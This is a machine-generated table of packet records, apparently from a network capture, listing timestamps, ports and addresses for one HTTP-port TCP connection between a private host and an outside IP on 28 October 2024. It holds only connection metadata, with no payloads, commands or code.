Oct 28, 2024 08:17:35.291090965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291116953 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291143894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291176081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291177988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291209936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291213989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291213989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291244984 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291245937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291280031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291280985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291331053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291336060 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291377068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291383982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291416883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291435957 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291451931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291464090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291496038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291676998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291727066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291731119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291784048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291816950 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291824102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291827917 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291858912 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291887045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291909933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291937113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291946888 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291981936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.291987896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.291987896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.292016983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.292026997 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.292052984 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.292087078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.292093992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.292093992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.292121887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.292140961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.292156935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.292157888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.292205095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.292671919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.292706966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.292742014 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.292752981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.292752981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.292777061 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.292805910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.292833090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.331136942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.331181049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.331218004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.331221104 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.331221104 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.331259966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.409657955 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.409720898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.409759045 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.409790993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.409801960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.409801960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.409826994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.409861088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.409873009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.409873962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.409897089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.409898996 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.409955025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.409959078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410010099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410011053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410044909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410085917 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410085917 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410104036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410140038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410173893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410176039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410213947 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410214901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410222054 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410273075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410305977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410312891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410312891 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410341024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410382986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410382986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410445929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410511971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410531044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410567999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410602093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410608053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410608053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410635948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410659075 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410671949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410705090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410711050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410711050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410754919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410759926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410854101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.410911083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410963058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.410979986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411016941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411022902 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411062002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411094904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411096096 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411096096 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411128998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411128998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411164045 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411194086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411195993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411212921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411257982 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411449909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411501884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411535978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411535978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411540031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411590099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411597967 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411626101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411638975 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411660910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411695004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411700010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411700010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411727905 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411761999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411771059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411771059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411796093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411820889 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411833048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411847115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411871910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.411880970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.411952972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.450699091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.450753927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.450781107 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.450790882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.450803041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.450826883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.450860023 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.450861931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.450901031 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.450901031 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.528973103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529005051 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529041052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529059887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529078007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529097080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529118061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529129982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529155970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529172897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529182911 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529206991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529222965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529242992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529251099 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529315948 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529342890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529376030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529392958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529411077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529445887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529478073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529544115 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529577017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529613018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529625893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529647112 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529647112 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529664993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529719114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529726982 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529769897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529788017 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529805899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529839039 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529855967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529879093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529892921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529928923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529941082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529941082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.529966116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.529999971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530019999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530040979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530056000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530073881 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530092001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530112982 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530138969 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530261993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530296087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530330896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530332088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530332088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530384064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530400038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530419111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530453920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530476093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530477047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530489922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530505896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530520916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530527115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530627012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530842066 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530895948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530929089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530929089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.530949116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530982971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.530997992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531018972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.531052113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531055927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.531091928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.531107903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531107903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531122923 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531126022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.531164885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.531194925 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531198978 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.531250954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531255007 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.531297922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531297922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531426907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.531460047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.531481981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531493902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.531524897 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.531589985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.570077896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.570136070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.570166111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.570168972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.570208073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.570208073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.570219040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.570269108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.570292950 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.570322037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.570344925 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.570355892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.570389986 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.570396900 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.570405006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.570425987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.570458889 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.570517063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.648437977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648473024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648525000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648557901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648592949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648612976 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.648628950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648658037 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.648679972 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.648683071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648732901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648766041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648772955 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.648772955 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.648816109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648850918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648870945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.648870945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.648917913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.648933887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648963928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.648981094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649018049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649046898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649054050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649089098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649097919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649097919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649125099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649147034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649168015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649220943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649272919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649297953 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649307013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649319887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649349928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649369955 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649394989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649403095 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649437904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649467945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649471998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649487019 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649507046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649518013 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649542093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649574995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649581909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649581909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649615049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649738073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649786949 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649791002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649835110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649842024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649877071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649890900 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649909973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.649950981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.649951935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650034904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650074959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650085926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650120974 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650147915 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:35.650175095 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:35.650180101 CET	49766	80	192.168.2.4	185.215.113.206
